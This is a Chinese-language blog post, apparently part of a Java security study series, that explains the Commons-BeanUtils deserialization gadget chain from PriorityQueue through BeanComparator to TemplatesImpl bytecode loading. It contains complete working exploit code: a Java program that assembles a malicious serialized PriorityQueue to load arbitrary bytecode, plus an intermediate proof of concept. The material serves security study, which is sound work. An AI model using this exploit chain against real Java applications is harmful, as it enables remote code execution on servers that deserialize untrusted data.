CB反序列化利用链
2024-09-13 09:14:17 # javasec # unserialize
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<dependency>  
<groupId>commons-beanutils</groupId>
<artifactId>commons-beanutils</artifactId>
<version>1.9.2</version>
</dependency>
<!-- https://mvnrepository.com/artifact/commons-collections/commons-collections -->
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>
<!-- https://mvnrepository.com/artifact/commons-logging/commons-logging -->
<dependency>
<groupId>commons-logging</groupId>
<artifactId>commons-logging</artifactId>
<version>1.2</version>
</dependency>

CB这条链子主要用到了commons-beanutils,这个库beanutils看名字就知道主要操纵javaBean,而javaBean最主要的特点就是有各种getter和setter反法,我们在前面分析CC链的时候遇到的TemplatesImpl,我们回忆一下

1
2
3
4
5
TemplatesImpl#getOutputProperties() -> 
TemplatesImpl#newTransformer() ->
TemplatesImpl#getTransletInstance() ->
TemplatesImpl#defineTransletClasses() ->
TransletClassLoader#defineClass()

这里只要触发前面两条,getOutputProperties和newTransformer都能够加载我们的恶意字节码,因为调用链上只有这两个方法的作用域是public,前面我们一直使用的是newTransformer,通过invokeTransform或者InstantiateTransformer来触发newTransformer方法,而没有利用getOutputProperties这个方法

而这个方法是Templates接口定义的一个方法,在他的实现类TemplatesImpl中有就是他_outputProperties属性的getter方法

JavaBean

这里讲解一下什么是javaBean,我打个最简单的比方

有这样一个student类,他有id学号和name名字两个属性,还有对应的getter和setter方法,我们就可以通过getter和setter对这个student对象的属性进行赋值和访问

而这个BeanUtils这个库就提供了一系列工具库方便我们操控这些JavaBean

其中 Commons-BeanUtils 就提供了一个PropertyUtils.getProperty静态方法,它能够调用某一对象的getter方法去获取指定的属性值

我们看一下这个方法的具体实现

首先进入PropertyUtils.getProperty,他里面通过PropertyUtilsBean.getInstance()获取了一个PropertyUtilsBean实例,使用这个PropertyUtilsBean实例来执行getProperty操作

接着又进入了getNestedProperty方法,传入了student对象和属性名称

在getNestedProperty方法里面他会判断这个Bean属于那种类型,

这里就属于简单类型,直接调用getSimpleProperty来获取属性值

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
public Object getSimpleProperty(Object bean, String name) throws IllegalAccessException, InvocationTargetException, NoSuchMethodException {
if (bean == null) {
throw new IllegalArgumentException("No bean specified");
} else if (name == null) {
throw new IllegalArgumentException("No name specified for bean class '" + bean.getClass() + "'");
} else if (this.resolver.hasNested(name)) {
throw new IllegalArgumentException("Nested property names are not allowed: Property '" + name + "' on bean class '" + bean.getClass() + "'");
} else if (this.resolver.isIndexed(name)) {
throw new IllegalArgumentException("Indexed property names are not allowed: Property '" + name + "' on bean class '" + bean.getClass() + "'");
} else if (this.resolver.isMapped(name)) {
throw new IllegalArgumentException("Mapped property names are not allowed: Property '" + name + "' on bean class '" + bean.getClass() + "'");
} else if (bean instanceof DynaBean) {
DynaProperty descriptor = ((DynaBean)bean).getDynaClass().getDynaProperty(name);
if (descriptor == null) {
throw new NoSuchMethodException("Unknown property '" + name + "' on dynaclass '" + ((DynaBean)bean).getDynaClass() + "'");
} else {
return ((DynaBean)bean).get(name);
}
} else {
PropertyDescriptor descriptor = this.getPropertyDescriptor(bean, name);
if (descriptor == null) {
throw new NoSuchMethodException("Unknown property '" + name + "' on class '" + bean.getClass() + "'");
} else {
Method readMethod = this.getReadMethod(bean.getClass(), descriptor);
if (readMethod == null) {
throw new NoSuchMethodException("Property '" + name + "' has no getter method in class '" + bean.getClass() + "'");
} else {
Object value = this.invokeMethod(readMethod, bean, EMPTY_OBJECT_ARRAY);
return value;
}
}
}
}

通过一系列判断,最终走到这里的关键代码

通过getPropertyDescriptor获取PropertyDescriptor对象,然后使用这个描述对象获取对应的getter方法,然后通过反射执行这个getter方法,将获取的值return出来

这里的getPropertyDescriptor方法会遍历这个student对象的所有getter方法,可以看到这里获取到了三个getter,多了一个getClass,然后将这三个getter方法的名字与传入的name进行比较找到对应的getter方法返回出来

到这里我们就分析完成了,里面的逻辑到时候学Fastjson的时候会再具体的分析一次

触发getOutputProperties()

我们前面已经分析完了触发Templatesimpl的defineClass加载字节码需要调用getOutputProperties方法,而这个getOutputProperties方法属于Templatesimpl的一个getter方法,他可以通过PropertyUtils.getProperty这个静态方法去调用,这里我们简单写一下exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
package CB;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.PropertyUtils;

import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;

public class CB1 {
public static void main(String[] args) throws Exception {
TemplatesImpl template = new TemplatesImpl();
byte[] codes = Files.readAllBytes(Paths.get("D:\\java_project\\JavaSecurityStudy\\target\\classes\\ClassLoad\\TemplateCode.class"));
setField(template,"_name","pysnow");
setField(template,"_bytecodes",new byte[][] {codes});
setField(template,"_tfactory",new TransformerFactoryImpl());

PropertyUtils.getProperty(template,"outputProperties");

}
public static void setField(Object object,String name,Object value) throws Exception {
Field field= object.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(object,value);
}
}

接着我们就需要寻找在哪里调用了PropertyUtils.getProperty

触发PropertyUtils.getProperty()

我们通过查找用法在BeanComparator这个类的compare方法里面找到了PropertyUtils.getProperty的调用,他会通过PropertyUtils.getProperty获取要比较的两个对象的property属性的值,这里我们就只需要将其中一个对象设置成Templatesimpl对象,然后property设置成outputProperties

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
public int compare( Object o1, Object o2 ) {

if ( property == null ) {
// compare the actual objects
return comparator.compare( o1, o2 );
}

try {
Object value1 = PropertyUtils.getProperty( o1, property );
Object value2 = PropertyUtils.getProperty( o2, property );
return comparator.compare( value1, value2 );
}
catch ( IllegalAccessException iae ) {
throw new RuntimeException( "IllegalAccessException: " + iae.toString() );
}
catch ( InvocationTargetException ite ) {
throw new RuntimeException( "InvocationTargetException: " + ite.toString() );
}
catch ( NoSuchMethodException nsme ) {
throw new RuntimeException( "NoSuchMethodException: " + nsme.toString() );
}
}

触发compare()

这里找触发compare就再简单不过了

这里可以使用CC2链中的PriorityQueue触发任意对象的compare方法的链子

我们回顾一下

首先这个PriorityQueue的readObject调用了heapify方法

接着heapify方法调用了siftDown方法,这里需要size为2才能进入循环

接着siftDown会根据是否有Comparator来判断是否使用Comparator比较,使用自己设置的Comparator比较不就是调用任意方法的compare函数吗

这里在siftDownUsingComparator方法里面对队列中的两个对象进行比较

然后我们再把Comparator设置成BeanComparator,将BeanComparator的property属性设置成outputProperties,就把链子连接起来了

这里我们编写一下最终的EXP

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
package CB;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;

import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

public class CB1 {
public static void main(String[] args) throws Exception {
TemplatesImpl template = new TemplatesImpl();
byte[] codes = Files.readAllBytes(Paths.get("D:\\java_project\\JavaSecurityStudy\\target\\classes\\ClassLoad\\TemplateCode.class"));
setField(template,"_name","pysnow");
setField(template,"_bytecodes",new byte[][] {codes});
setField(template,"_tfactory",new TransformerFactoryImpl());

BeanComparator beanComparator = new BeanComparator();
PriorityQueue priorityQueue = new PriorityQueue<>(beanComparator);
priorityQueue.add(1);
priorityQueue.add(1);

setField(beanComparator,"property","outputProperties");
setField(priorityQueue,"queue",new Object[]{template,template});
// serialize(priorityQueue);
unserialize("ser.bin");

}
public static void setField(Object object,String name,Object value) throws Exception {
Field field= object.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(object,value);
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}

public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}

注意点

这里我们add的时候add的是两个1,这是因为priorityQueue的add方法会触发compare方法然后触发调用链

所以我们需要add之后再修改队列中的两个元素,当然也可以修改PriorityQueue的Comparator为其他例如TransformingComparator,然后在add完之后再修改回来

调用流程图